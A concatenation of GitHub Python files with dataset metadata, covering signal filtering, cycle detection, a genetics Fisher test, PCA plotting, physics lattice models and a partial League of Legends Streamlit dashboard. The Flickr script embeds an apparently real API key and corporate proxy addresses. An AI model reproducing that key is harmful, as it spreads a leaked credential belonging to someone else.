text.get_rect(centerx=fond.get_width()/2)\n\tfenetre.blit(text, textpos)\n\t\t#Raffraichissement final\n\tpygame.display.flip()","repo_name":"bak840/zhe-ball","sub_path":"affichage_score.py","file_name":"affichage_score.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14745884268","text":"import time\n\nfrom scipy.io import loadmat\n\nfrom kaftools.filters import KrlsFilter\nfrom kaftools.kernels import GaussianKernel\nfrom kaftools.sparsifiers import ApproximateLinearDependency\nfrom kaftools.utils.shortcuts import plot_series\n\nif __name__ == \"__main__\":\n # Cargar datos\n mat = loadmat(\"data/data.mat\")\n voltage_discharge_krr = [voltage_cycle[0] for voltage_cycle in mat['voltage_resample_krr'][0]]\n\n # Configurar KRLS\n krls_params = {\n 'regularizer': 1e-1,\n 'kernel': GaussianKernel(sigma=2.0),\n 'sparsifiers': [ApproximateLinearDependency(threshold=1e-2)]\n }\n krls = KrlsFilter(voltage_discharge_krr[0], voltage_discharge_krr[0])\n krls.fit(**krls_params)\n\n # Graficar resultados\n krls_plot = {\n 'title': 'KLRS on NASA data; Nº support vectors: {0}'.format(len(krls.support_vectors)),\n 'xlim': (40, 200),\n 'ylim': (2.0, 4.0),\n 'linewidth': 3.0\n }\n plot_series(voltage_discharge_krr[0], krls.estimate, **krls_plot)","repo_name":"Canas/kaftools","sub_path":"examples/klrs_nasa.py","file_name":"klrs_nasa.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6831358038","text":"import os\nos.environ['http_proxy'] = 'http://proxy-chain.intel.com:911'\nos.environ['HTTP_PROXY'] = 'http://proxy-chain.intel.com:911'\nos.environ['https_proxy'] = 'https://proxy-chain.intel.com:912'\nos.environ['HTTPS_PROXY'] = 'https://proxy-chain.intel.com:912'\nimport requests\nimport json\nimport webbrowser\n\n# apply for a flickr authentication key at http://www.flickr.com/services/apps/create/apply/?\n# paste the key (not the secret) as the value of the variable flickr_key\nflickr_key = 'aa90da925d148a617c556e092229e3e5'\n\ndef get_flickr_data(tags_string):\n baseurl = \"https://api.flickr.com/services/rest/\"\n params_diction = {}\n params_diction[\"api_key\"] = flickr_key # from the above global variable\n params_diction[\"tags\"] = tags_string # must be a comma separated string to work correctly\n params_diction[\"tag_mode\"] = \"all\"\n params_diction[\"method\"] = \"flickr.photos.search\"\n params_diction[\"per_page\"] = 5\n params_diction[\"media\"] = \"photos\"\n params_diction[\"format\"] = \"json\"\n params_diction[\"nojsoncallback\"] = 1\n flickr_resp = requests.get(baseurl, params = params_diction)\n # Useful for debugging: print the url! Uncomment the below line to do so.\n print(flickr_resp.url) # Paste the result into the browser to check it out...\n\n return flickr_resp.json()\n\n\ndict_flicker_resp = get_flickr_data (\"Train\")\n\nprint(json.dumps(dict_flicker_resp, indent=2))\n\nlist_photos= dict_flicker_resp[\"photos\"][\"photo\"]\n\nfor d in list_photos:\n owner = d[\"owner\"]\n photo_id = d[\"id\"]\n print (owner, photo_id)\n webbrowser.open(\"https://www.flickr.com/photos/{}/{}\".format(owner, photo_id))\n\n\n\n\n\n","repo_name":"ajitkumarkp/Python","sub_path":"Data_collection_processing/flickr_rest.py","file_name":"flickr_rest.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71942331628","text":"'''\nCreated on 2016年2月29日\n\n@author: Darren\n'''\n\ndef circle_dectector(edges):\n graph,in_degree=build_graph(edges)\n queue=[start_point for start_point in in_degree.keys() if in_degree[start_point]==0]\n while queue:\n from_point=queue.pop(0)\n for to_point in graph[from_point]:\n in_degree[to_point]-=1\n if in_degree[to_point]==0:\n queue.append(to_point)\n graph.pop(from_point)\n return not bool(graph)\n\ndef circle_dectector_dfs(edges):\n graph,in_degree=build_graph(edges)\n visited=set()\n rec_stack=set()\n def dfs(point):\n if point in visited:\n return True\n visited.add(point)\n rec_stack.add(point)\n for to_point in graph[point]:\n if to_point not in visited and not dfs(to_point):\n return False\n elif to_point in rec_stack:\n return False\n rec_stack.remove(point)\n return True \n for point in graph.keys():\n if not dfs(point):\n return False \n return True\n\ndef build_graph(edges):\n graph={}\n in_degree={}\n for from_point,to_point in edges:\n if from_point not in graph:\n graph[from_point]=[]\n if to_point not in graph:\n graph[to_point]=[]\n graph[from_point].append(to_point)\n if from_point not in in_degree:\n in_degree[from_point]=0\n if to_point not in in_degree:\n in_degree[to_point]=0\n in_degree[to_point]+=1\n return graph,in_degree\n \n\nedges=[[1,2],[2,3],[3,4],[4,4]]\nprint(circle_dectector(edges))\nprint(circle_dectector_dfs(edges))","repo_name":"darrencheng0817/AlgorithmLearning","sub_path":"Python/interview/review/CircleDectection.py","file_name":"CircleDectection.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"7487244755","text":"\"\"\"This file takes in occurrence lists for a variable (such as alleles)\nand then occurrence lists for positive and negative group assignments\nsuch as T1D+ and T1D- and subsets the Alleles based on group in order\nto calculate association with disease based on Fisher's exact test. \nResults are saved in a csv file with pvals.\n\"\"\"\n\nimport pandas as pd\nfrom scipy.stats import fisher_exact\n\n# First part to subset data frame\n# Load the first CSV file with headers with occurrence lists for alleles for all files\ncsv_file_path_1 = \"filepath\"\ndf = pd.read_csv(csv_file_path_1, header=0)\n\n# Get the allele labels from the first row\nallele_labels = df.columns[:].tolist()\n# Transpose the DataFrame and reset the index\ndf_1 = df.transpose().reset_index()\n# Extract the Boolean occurrence arrray\noccurrence_array = df_1.iloc[:, 1:].values.astype(bool)\n\n# Load the t1d CSV file with bool occurrence lists for group assignment (T1D+) for all files\nt1d_file_path_2 = \"filepath\"\ndf_t1d = pd.read_csv(t1d_file_path_2)\n# Extract the occurrence list from the second file\nt1d_occurrence_list = df_t1d.iloc[:, 0].values.astype(bool)\n\n# Subset occurrence array based on occurrence list\nt1d_subset_occurrence_array = occurrence_array[:, t1d_occurrence_list]\n\n# Create column names for subset_df\nt1d_column_names = [f\"column_{i+1}\" for i in range(t1d_subset_occurrence_array.shape[1])]\n\n# Create a DataFrame for the subsetted occurrence array\nt1d_subset_df = pd.DataFrame(data=t1d_subset_occurrence_array, columns=t1d_column_names)\n# Add the \"Allele\" column to the beginning of subset_df\nt1d_subset_df.insert(0, \"Allele\", allele_labels)\n\n# Add a new column \"Count\" that sums the True values for each row\nt1d_subset_df.insert(1, \"T1D_Count\", t1d_subset_df.iloc[:, 1:].sum(axis=1))\n\n## Do the same for control file\n# Load the control CSV file with bool occurrence lists for control group assignment (T1D-) for all files\ncontrol_file_path_2 = \"filepath\"\ndf_control = pd.read_csv(control_file_path_2)\n# Extract the occurrence list from the second file\ncontrol_occurrence_list = df_control.iloc[:, 0].values.astype(bool)\n\n# Subset occurrence array based on occurrence list\ncontrol_subset_occurrence_array = occurrence_array[:, control_occurrence_list]\n\n# Create column names for subset_df\ncontrol_column_names = [f\"column_{i+1}\" for i in range(control_subset_occurrence_array.shape[1])]\n\n# Create a DataFrame for the subsetted occurrence array\ncontrol_subset_df = pd.DataFrame(data=control_subset_occurrence_array, columns=control_column_names)\n# Add the \"Allele\" labels column to the beginning of subset_df\ncontrol_subset_df.insert(0, \"Allele\", allele_labels)\n\n# Add a new column \"Count\" that sums the True values for each row\ncontrol_subset_df.insert(1, \"Control_Count\", control_subset_df.iloc[:, 1:].sum(axis=1))\n\n# Make sure the dfs have just these two columns\nt1d_subset_df = t1d_subset_df[[\"Allele\", \"T1D_Count\"]]\ncontrol_subset_df = control_subset_df[[\"Allele\", \"Control_Count\"]]\n\n# Merge the DataFrames based on the \"Allele\" column\nmerged_df = pd.merge(t1d_subset_df, control_subset_df, on=\"Allele\")\n\n\n## Run Fisher test\n# Define the correct number of subjects\ntotal_T1D = t1d_occurrence_list.sum()\ntotal_control = control_occurrence_list.sum()\nassert total_T1D + total_control == 1425\n\n# Create empty lists to store p-values and odds ratios\npvals = []\nodds_ratios = []\n\n# Iterate through each row of the DataFrame\nfor _, row in merged_df.iterrows():\n # Get the counts for T1D and control\n T1D_count = row[\"T1D_Count\"]\n control_count = row[\"Control_Count\"]\n\n # Perform Fisher's exact test\n oddsratio, pval = fisher_exact([[T1D_count, total_T1D - T1D_count], [control_count, total_control - control_count]], alternative=\"greater\")\n\n # Append the results to the lists\n pvals.append(pval)\n odds_ratios.append(oddsratio)\n\n# Add the p-value and odds ratio columns to the DataFrame\nmerged_df[\"pval\"] = pvals\nmerged_df[\"odds_ratio\"] = odds_ratios\n\n# Sort the DataFrame by the \"pval\" column in ascending order\ndf_sorted = merged_df.sort_values(\"pval\")\n\n# Save the sorted results to a new CSV file\noutput_file_path = \"filepath\"\ndf_sorted.to_csv(output_file_path, index=False)\n\nprint(\"Fisher's exact test Allele association results saved to:\", output_file_path)\n\n","repo_name":"camrynpw/TCRAnalysis","sub_path":"Alleles_disease_association.py","file_name":"Alleles_disease_association.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73363721068","text":"import csv\nimport numpy\nimport os\nimport os.path\nimport scipy\nimport sys\n\n(_,\n input_path,\n x_component,\n y_component,\n samples_file,\n phenotype_path,\n phenotype_cat1_column,\n phenotype_cat2_column,\n output_path,\n ) = sys.argv\nX = numpy.load(input_path)\n\ncolors = None\ncategory = {}\nsamples = []\nif samples_file:\n labels = {}\n with open(samples_file, 'rt', newline='') as samplelist:\n for row in csv.reader(samplelist):\n if row[0] == \"Index\":\n continue\n sampleid = row[1]\n samples.append(sampleid)\n phenotype_cat2_column = int(phenotype_cat2_column)\n phenotype_cat1_column = int(phenotype_cat1_column)\n if os.path.isdir(phenotype_path):\n phenotype_files = os.scandir(phenotype_path)\n else:\n phenotype_files = [phenotype_path]\n for phenotype_file in phenotype_files:\n with open(phenotype_file, 'rt', newline='') as phenotype:\n dialect = csv.Sniffer().sniff(phenotype.read(1024))\n phenotype.seek(0)\n for row in csv.reader(phenotype, dialect):\n tag = row[0]\n label = row[phenotype_cat1_column]\n for sampleid in samples:\n if tag in sampleid:\n labels[sampleid] = label\n if phenotype_cat2_column >= 0 and row[phenotype_cat2_column] != '0':\n category[sampleid] = True\n unknown_color = 'grey'\n colors = []\n labelcolors = {\n 'PUR': 'firebrick',\n 'CLM': 'firebrick',\n 'MXL': 'firebrick',\n 'PEL': 'firebrick',\n '1': 'firebrick',\n 'TSI': 'green',\n 'IBS': 'green',\n 'CEU': 'green',\n 'GBR': 'green',\n 'FIN': 'green',\n '5': 'green',\n 'LWK': 'coral',\n 'MSL': 'coral',\n 'GWD': 'coral',\n 'YRI': 'coral',\n 'ESN': 'coral',\n 'ACB': 'coral',\n 'ASW': 'coral',\n '4': 'coral',\n 'KHV': 'royalblue',\n 'CDX': 'royalblue',\n 'CHS': 'royalblue',\n 'CHB': 'royalblue',\n 'JPT': 'royalblue',\n '2': 'royalblue',\n 'STU': 'blueviolet',\n 'ITU': 'blueviolet',\n 'BEB': 'blueviolet',\n 'GIH': 'blueviolet',\n 'PJL': 'blueviolet',\n '3': 'navy',\n }\n for sampleid in samples:\n if (sampleid in labels) and (labels[sampleid] in labelcolors):\n colors.append(labelcolors[labels[sampleid]])\n else:\n colors.append(unknown_color)\n\nfrom matplotlib.figure import Figure\nfrom matplotlib.patches import Polygon\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\nfig = Figure()\nax = fig.add_subplot(111)\nfor marker in ['o', 'x']:\n x = []\n y = []\n if samples:\n c = []\n for unknownfirst in [True, False]:\n for i, sampleid in enumerate(samples):\n if ((colors[i] == unknown_color) == unknownfirst and\n category.get(sampleid, False) == (marker == 'x')):\n x.append(X[i,int(x_component)-1])\n y.append(X[i,int(y_component)-1])\n c.append(colors[i])\n elif marker == 'x':\n continue\n else:\n x = X[:,int(x_component)-1]\n y = X[:,int(y_component)-1]\n c = None\n ax.scatter(x, y, c=c, s=60, marker=marker, alpha=0.5)\ncanvas = FigureCanvasAgg(fig)\ncanvas.print_figure(output_path, dpi=80)\n","repo_name":"arvados/lightning","sub_path":"pca_plot.py","file_name":"pca_plot.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31105944935","text":"import TAT\nimport tetragono as tet\nfrom tetragono.common_tensor.tensor_toolkit import rename_io, kronecker_product\n\n\ndef abstract_state(L1, L2, Jx, Jz):\n \"\"\"\n Create toric code model state.\n\n Parameters\n ----------\n L1, L2 : int\n The lattice size.\n Jx, Jz : float\n The toric code parameter.\n \"\"\"\n state = tet.AbstractState(TAT.No.D.Tensor, L1, L2)\n state.physics_edges[...] = 2\n sigma_x = tet.common_tensor.No.pauli_x.to(float)\n sigma_z = tet.common_tensor.No.pauli_z.to(float)\n sigma_xxxx = kronecker_product(\n rename_io(sigma_x, [0]),\n rename_io(sigma_x, [1]),\n rename_io(sigma_x, [2]),\n rename_io(sigma_x, [3]),\n )\n sigma_zzzz = kronecker_product(\n rename_io(sigma_z, [0]),\n rename_io(sigma_z, [1]),\n rename_io(sigma_z, [2]),\n rename_io(sigma_z, [3]),\n )\n Jsigma_xxxx = -Jx * sigma_xxxx\n Jsigma_zzzz = -Jz * sigma_zzzz\n for l1 in range(state.L1 - 1):\n for l2 in range(state.L2 - 1):\n if (l1 + l2) % 2 == 0:\n state.hamiltonians[(l1, l2, 0), (l1, l2 + 1, 0), (l1 + 1, l2, 0), (l1 + 1, l2 + 1, 0)] = Jsigma_xxxx\n else:\n state.hamiltonians[(l1, l2, 0), (l1, l2 + 1, 0), (l1 + 1, l2, 0), (l1 + 1, l2 + 1, 0)] = Jsigma_zzzz\n return state\n\n\ndef abstract_lattice(L1, L2, D, Jx, Jz):\n \"\"\"\n Create toric code model lattice.\n\n Parameters\n ----------\n L1, L2 : int\n The lattice size.\n D : int\n The cut dimension.\n Jx, Jz : float\n The toric code parameter.\n \"\"\"\n state = tet.AbstractLattice(abstract_state(L1, L2, Jx, Jz))\n state.virtual_bond[\"R\"] = D\n state.virtual_bond[\"D\"] = D\n return state\n","repo_name":"USTC-TNS/TAT","sub_path":"tetraku/tetraku/models/toric_code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"36965512824","text":"\nimport logging\nimport numpy as np\n\nfrom opymize import Variable\nfrom opymize.functionals import SplitSum, ZeroFct, IndicatorFct, PositivityFct, \\\n QuadEpiSupp, EpigraphSupp, L1Norms, HuberPerspective\nfrom opymize.linear import BlockOp, IdentityOp, GradientOp, \\\n IndexedMultAdj, MatrixMultR, MatrixMultRBatched\n\nfrom mflift.models import SublabelModel\n\nclass Model(SublabelModel):\n name = \"rof\"\n\n def __init__(self, *args, lbd=1.0, regularizer=\"tv\", alph=np.inf,\n fdscheme=\"centered\", **kwargs):\n SublabelModel.__init__(self, *args, **kwargs)\n self.lbd = lbd\n self.regularizer = regularizer\n self.alph = alph\n self.fdscheme = fdscheme\n logging.info(\"Init model '%s' (%s regularizer, lambda=%.2e, \"\n \"alpha=%.2e, fdscheme=%s)\" \\\n % (self.name, self.regularizer, self.lbd,\n self.alph, self.fdscheme))\n\n imagedims = self.data.imagedims\n N_image = self.data.N_image\n L_labels = self.data.L_labels\n M_tris = self.data.M_tris\n s_gamma = self.data.s_gamma\n d_image = self.data.d_image\n\n xvars = [('u', (N_image, L_labels)),\n ('w12', (M_tris, N_image, s_gamma+1)),\n ('w', (M_tris, N_image, d_image, s_gamma))]\n yvars = [('p', (N_image, d_image, L_labels)),\n ('q', (N_image, L_labels)),\n ('v12a', (M_tris, N_image, s_gamma+1)),\n ('v12b', (M_tris, N_image, s_gamma+1)),\n ('v3', (N_image,)),]\n\n if self.regularizer == \"tv\":\n yvars.append(('g', (M_tris, N_image, d_image, s_gamma)))\n elif self.regularizer == \"quadratic\":\n yvars.append(('g12', (M_tris, N_image, d_image*s_gamma+1)))\n\n self.x = Variable(*xvars)\n self.y = Variable(*yvars)\n\n def setup_solver(self, *args):\n imagedims = self.data.imagedims\n N_image = self.data.N_image\n L_labels = self.data.L_labels\n M_tris = self.data.M_tris\n s_gamma = self.data.s_gamma\n d_image = self.data.d_image\n\n Id_w2 = np.zeros((s_gamma+1,d_image*s_gamma+1), order='C')\n Id_w2[-1,-1] = 1.0\n\n Adext = np.zeros((M_tris,s_gamma,d_image*s_gamma+1), order='C')\n Adext[:,:,:-1] = np.tile(self.data.Ad, (1,1,d_image))\n\n # Ab (M_tris, s_gamma+1, s_gamma+1)\n Ab_mats = -np.ones((M_tris, s_gamma+1, s_gamma+1),\n dtype=np.float64, order='C')\n Ab_mats[:,:,0:-1] = self.data.T[self.data.P]\n Ab_mats[:] = np.linalg.inv(Ab_mats)\n\n self.linblocks.update({\n 'PAbTri': IndexedMultAdj(L_labels, N_image, self.data.P, Ab_mats),\n 'Grad': GradientOp(imagedims, L_labels, scheme=self.fdscheme),\n 'PB': IndexedMultAdj(L_labels, d_image*N_image, self.data.P, self.data.B),\n 'Ad': MatrixMultRBatched(N_image*d_image, self.data.Ad),\n 'Adext': MatrixMultRBatched(N_image, Adext),\n 'Id_w2': MatrixMultR(M_tris*N_image, Id_w2),\n })\n SublabelModel.setup_solver(self, *args)\n\n def setup_solver_pdhg(self):\n x, y = self.x.vars(named=True), self.y.vars(named=True)\n imagedims = self.data.imagedims\n N_image = self.data.N_image\n L_labels = self.data.L_labels\n M_tris = self.data.M_tris\n s_gamma = self.data.s_gamma\n d_image = self.data.d_image\n\n PAbOp = self.linblocks['PAbTri']\n S_u_k = self.linblocks['S']\n GradOp = self.linblocks['Grad']\n PBLinOp = self.linblocks['PB']\n AdMult = self.linblocks['Ad']\n\n shift = np.tile(self.data.data_b, (M_tris,1,1)).reshape((-1, s_gamma))\n c = 0.5*(shift**2).sum(axis=-1)\n epifct1 = QuadEpiSupp(M_tris*N_image, s_gamma, b=-shift, c=c)\n epifct2 = EpigraphSupp(np.ones((N_image, L_labels), dtype=bool),\n [[np.arange(s_gamma+1)[None]]*M_tris]*N_image,\n self.data.P, self.data.T, np.zeros((N_image, L_labels)))\n\n Id_u = IdentityOp(x['u']['size'])\n Id_w12 = IdentityOp(x['w12']['size'])\n\n if self.data.constraints is not None:\n constrmask, constru = self.data.constraints\n constru_lifted = self.data.mfd.embed_barycentric(constru)[1]\n Gu = ConstrainFct(constrmask, constru_lifted)\n else:\n Gu = PositivityFct(x['u']['size'])\n\n self.pdhg_G = SplitSum([\n Gu, # \\delta_{u >= 0} or constraints\n ZeroFct(x['w12']['size']), # 0\n ZeroFct(x['w']['size']), # 0\n ])\n\n F_summands = [\n IndicatorFct(y['p']['size']), # \\delta_{p = 0}\n IndicatorFct(y['q']['size']), # \\delta_{q = 0}\n epifct1, # -0.5*v2a*|v1a/v2a + b|^2\n epifct2, # \\max_{v \\in Delta} \n IndicatorFct(y['v3']['size'], c1=1), # \\delta_{v3^i = 1}\n ]\n\n op_blocks = [\n [GradOp, 0, PBLinOp], # p = Du - P'B'w\n [ Id_u, PAbOp, 0], # q = u - P'Ab'w12\n [ 0, Id_w12, 0], # v12a = w12\n [ 0, Id_w12, 0], # v12b = w12\n [ S_u_k, 0, 0], # v3^i = sum_k u[i,k]\n ]\n\n if self.regularizer == \"tv\":\n l1norms = L1Norms(M_tris*N_image, (d_image, s_gamma), self.lbd, \"nuclear\")\n F_summands.append(l1norms) # lbd*\\sum_ji |g[j,i,:,:]|_nuc\n op_blocks.append([ 0, 0, AdMult]) # g = A'w\n elif self.regularizer == \"quadratic\":\n if self.alph < np.inf:\n etahat = HuberPerspective(M_tris*N_image, s_gamma*d_image,\n lbd=self.lbd, alph=self.alph)\n else:\n etahat = QuadEpiSupp(M_tris*N_image, s_gamma*d_image, a=self.lbd)\n F_summands.append(etahat) # 0.5*lbd*\\sum_ji |g1[j,i]|^2/|g2[j,i]|\n AdMult = self.linblocks['Adext']\n Id_w2 = self.linblocks['Id_w2']\n op_blocks.append([ 0, Id_w2, AdMult]) # g12 = (Ad'w, w2)\n self.pdhg_F = SplitSum(F_summands)\n self.pdhg_linop = BlockOp(op_blocks)\n","repo_name":"Room-10/mfd-lifting","sub_path":"mflift/models/rof.py","file_name":"rof.py","file_ext":"py","file_size_in_byte":6326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42930700800","text":"import streamlit as st\nimport streamlit.components.v1 as components\nimport pandas as pd\nimport altair as alt\nimport requests\nimport json\nimport os\nst.set_page_config(layout=\"wide\")\n\nAPI_KEY = st.secrets[\"api_key\"]\n\n__RELEASE = True\nroot_dir = os.path.dirname(os.path.abspath(__file__))\n\nif __RELEASE:\n \n build_dir = os.path.join(root_dir, \"../components/chart_component/frontend/build\" )\n\n _chart_component = components.declare_component(\n \"chart-component\",\n path=build_dir\n )\nelse: \n _chart_component = components.declare_component(\n \"chart-component\",\n url=\"http://localhost:3001\"\n )\n\n# Retrieve Data\n@st.cache_data\ndef load_data(puuid, continent, ranked, amount_games):\n timeline_data_result = []\n if ranked:\n match_history_url = f\"https://{continent}.api.riotgames.com/lol/match/v5/matches/by-puuid/{puuid}/ids?startTime=1650000000&queueId=420&start=0&count={amount_games}&api_key={API_KEY}\"\n else:\n match_history_url = f\"https://{continent}.api.riotgames.com/lol/match/v5/matches/by-puuid/{puuid}/ids?startTime=1650000000&start=0&count={amount_games}&api_key={API_KEY}\"\n match_history_res = requests.get(match_history_url)\n\n match_history_data = match_history_res.json()\n\n # loop through matches\n for match in match_history_data:\n match_timeline_url = f\"https://{continent}.api.riotgames.com/lol/match/v5/matches/{match}/timeline?api_key={API_KEY}\"\n match_timeline_res = requests.get(match_timeline_url)\n match_timeline_data = match_timeline_res.json()\n \n match_url = f\"https://{continent}.api.riotgames.com/lol/match/v5/matches/{match}?api_key={API_KEY}\"\n match_res = requests.get(match_url)\n match_data = match_res.json()\n if not match_data:\n return []\n\n if \"info\" in match_data:\n match_id = match_data[\"info\"][\"queueId\"]\n if match_id >= 400 and match_id <= 440:\n champion_name = get_player_champ(match_data, st.session_state['puuid'])\n timeline_data_result.append((match_timeline_data, champion_name, match_data))\n \n return timeline_data_result\n\n\ngold_data = []\nminions_data = []\nward_data = []\n\n\ndef get_total_gold_graph(data, champ, gamenumber, uid):\n frames = data[\"info\"][\"frames\"]\n index = 0\n for frame in frames:\n participantFrame = frame[\"participantFrames\"][str(uid)]\n statdict = {\"totalGold\": participantFrame[\"totalGold\"], \"timestamp\": index, \"game\": champ + ' ' + str(gamenumber), \"participant\": uid}\n gold_data.append(statdict)\n index += 1\n\n\ndef get_total_cs_graph(data, champ, gamenumber, uid):\n frames = data[\"info\"][\"frames\"]\n index = 0\n for frame in frames:\n participantFrame = frame[\"participantFrames\"][str(uid)]\n statdict = {\"totalMinions\": participantFrame[\"minionsKilled\"], \"timestamp\": index, \"game\": champ + ' ' + str(gamenumber), \"participant\": uid}\n minions_data.append(statdict)\n index += 1\n\n\ndef get_total_wards_cleared_graph(data, champ, gamenumber, uid):\n frames = data[\"info\"][\"frames\"]\n index = 0\n ward_count = 0\n for frame in frames:\n events = frame[\"events\"]\n for event in events:\n if f'{event[\"type\"]}' == \"WARD_KILL\" and f'{event[\"killerId\"]}' == str(uid):\n ward_count += 1\n statdict = {\"totalWardsCleared\": ward_count, \"timestamp\": index, \"game\": champ + ' ' + str(gamenumber), \"participant\": uid}\n ward_data.append(statdict)\n index += 1\n\ndef get_info_from_match_data(match_data, information):\n if information in match_data:\n return(match_data[information])\n return(0)\n\ndef get_challenge_from_match_data(match_data, information):\n if information in match_data[\"challenges\"]:\n return(match_data[\"challenges\"][information])\n return(0)\n\n\ndef get_total_gold_chart(data, participantId, subChartName):\n players = data[\"info\"][\"participants\"]\n for player in players:\n if(f'{player[\"participantId\"]}' == str(participantId)):\n totalGoldEarned = get_info_from_match_data(player, \"goldEarned\")\n goldPerMinute = get_challenge_from_match_data(player, \"goldPerMinute\") \n matchLength = int(totalGoldEarned / goldPerMinute)\n passiveGold = (matchLength - 2) * 120 + 500\n inhibitorGold = get_info_from_match_data(player, \"inhibitorKills\") * 50\n nexusGold = get_info_from_match_data(player, \"nexusKills\") * 50\n turretGold = get_info_from_match_data(player, \"turretTakedowns\") * 125 + get_info_from_match_data(player, \"turretKills\") * 60\n platingGold = get_challenge_from_match_data(player, \"turretPlatesTaken\") * 175\n earlyMinionGold = get_challenge_from_match_data(player, \"laneMinionsFirst10Minutes\") * 20 \n midLateMinionGold = (get_info_from_match_data(player, \"totalMinionsKilled\") - get_challenge_from_match_data(player, \"laneMinionsFirst10Minutes\")) * 26\n jungleCampGold = get_info_from_match_data(player, \"neutralMinionsKilled\") * 30\n dragonGold = get_info_from_match_data(player, \"dragonKills\") * 25 + get_challenge_from_match_data(player, \"teamElderDragonKills\") * 250\n baronGold = get_challenge_from_match_data(player, \"teamBaronKills\") * 300\n riftHeraldGold = get_challenge_from_match_data(player, \"riftHeraldTakedowns\") * 250\n assistGold = get_info_from_match_data(player, \"assists\") * 100\n killGold = get_info_from_match_data(player, \"kills\") * 300\n bountyGold = get_challenge_from_match_data(player, \"bountyGold\") \n\n structureDict = {\"name\": \"structures\", \"children\": [\n {\"name\": \"inhibitors\", \"value\": inhibitorGold},\n {\"name\": \"nexus\", \"value\": nexusGold},\n {\"name\": \"turrets\", \"value\": turretGold},\n {\"name\": \"platings\", \"value\": platingGold}\n ]}\n\n minionsDict = {\"name\": \"minions\", \"children\": [\n {\"name\": \"0 - 10 mins\", \"value\": earlyMinionGold},\n {\"name\": \"10+ mins\", \"value\": midLateMinionGold}\n ]}\n\n monsterDict = {\"name\": \"monsters\", \"children\": [\n {\"name\": \"jungle camps\", \"value\": jungleCampGold},\n {\"name\": \"dragons\", \"value\": dragonGold},\n {\"name\": \"barons\", \"value\": baronGold},\n {\"name\": \"rift heralds\", \"value\": riftHeraldGold}\n ]}\n\n takedownDict = {\"name\": \"takedowns\", \"children\": [\n {\"name\": \"assists\", \"value\": assistGold},\n {\"name\": \"kills\", \"value\": killGold},\n {\"name\": \"bounties\", \"value\": bountyGold}\n ]}\n\n fullGoldDict = {\"name\": subChartName, \"children\": [\n { \"name\": \"passive\", \"value\": passiveGold},\n structureDict,\n minionsDict,\n monsterDict,\n takedownDict\n ]}\n\n return fullGoldDict\n return {}\n\n\ndef get_total_damage_chart(data, participantId, subChartName):\n players = data[\"info\"][\"participants\"]\n for player in players:\n if(f'{player[\"participantId\"]}' == str(participantId)):\n totalPhysicalDamageDealt = get_info_from_match_data(player, \"physicalDamageDealtToChampions\")\n totalMagicDamageDealt = get_info_from_match_data(player, \"magicDamageDealtToChampions\")\n totalTrueDamageDealt = get_info_from_match_data(player, \"trueDamageDealtToChampions\")\n\n fullDamageDict = {\"name\": subChartName, \"children\": [\n { \"name\": \"Physical Damage\", \"value\": totalPhysicalDamageDealt},\n { \"name\": \"Magic Damage\", \"value\": totalMagicDamageDealt},\n { \"name\": \"True Damage\", \"value\": totalTrueDamageDealt}\n ]}\n\n return fullDamageDict\n return {}\n\n\ndef get_total_vision_chart(data, participantId, subChartName):\n players = data[\"info\"][\"participants\"]\n for player in players:\n if(f'{player[\"participantId\"]}' == str(participantId)):\n totalWardsPlaced = get_info_from_match_data(player, \"wardsPlaced\")\n controlWardsPlaced = get_challenge_from_match_data(player, \"controlWardsPlaced\")\n stealthWardsPlaced = get_challenge_from_match_data(player, \"stealthWardsPlaced\")\n otherWardsPlaced = totalWardsPlaced - (controlWardsPlaced + stealthWardsPlaced)\n totalWardTakedowns = get_challenge_from_match_data(player, \"wardTakedowns\")\n totalWardsKilled = get_info_from_match_data(player, \"wardsKilled\")\n totalWardsAssisted = totalWardTakedowns - totalWardsKilled\n totalWardsGuarded = get_challenge_from_match_data(player, \"wardsGuarded\")\n\n wardPlacedDict = {\"name\": \"Wards Placed\", \"children\": [\n { \"name\": \"Control Wards\", \"value\": controlWardsPlaced},\n { \"name\": \"Stealth Wards\", \"value\": stealthWardsPlaced},\n { \"name\": \"Other Wards\", \"value\": otherWardsPlaced}\n ]}\n\n wardTakedownDict = {\"name\": \"Ward Takedowns\", \"children\": [\n { \"name\": \"Wards Destroyed\", \"value\": totalWardsKilled},\n { \"name\": \"Wards Assisted\", \"value\": totalWardsAssisted}\n ]}\n\n fullVisionDict = {\"name\": subChartName, \"children\": [\n { \"name\": \"Wards Guarded\", \"value\": totalWardsGuarded},\n wardPlacedDict,\n wardTakedownDict\n ]}\n\n return fullVisionDict\n return {}\n\n\ndef get_player_id(data, puuid):\n players = data[\"info\"][\"participants\"]\n for player in players:\n if(f'{player[\"puuid\"]}' == puuid):\n return(player[\"participantId\"])\n return(\"No Player Found\")\n\n\ndef get_player_champ(data, puuid):\n players = data[\"info\"][\"participants\"]\n for player in players:\n if(f'{player[\"puuid\"]}' == puuid):\n return(player[\"championName\"])\n return(\"No Player Found\")\n\n\ndef display_graph(data_type):\n match_index = 0\n for timeline_champ_tuple in timeline_data:\n match_index += 1\n player_id = get_player_id(timeline_champ_tuple[0], st.session_state['puuid'])\n if data_type == \"Gold\":\n get_total_gold_graph(timeline_champ_tuple[0], timeline_champ_tuple[1], match_index, player_id)\n elif data_type == \"Minions\":\n get_total_cs_graph(timeline_champ_tuple[0], timeline_champ_tuple[1], match_index, player_id)\n else:\n get_total_wards_cleared_graph(timeline_champ_tuple[0], timeline_champ_tuple[1], match_index, 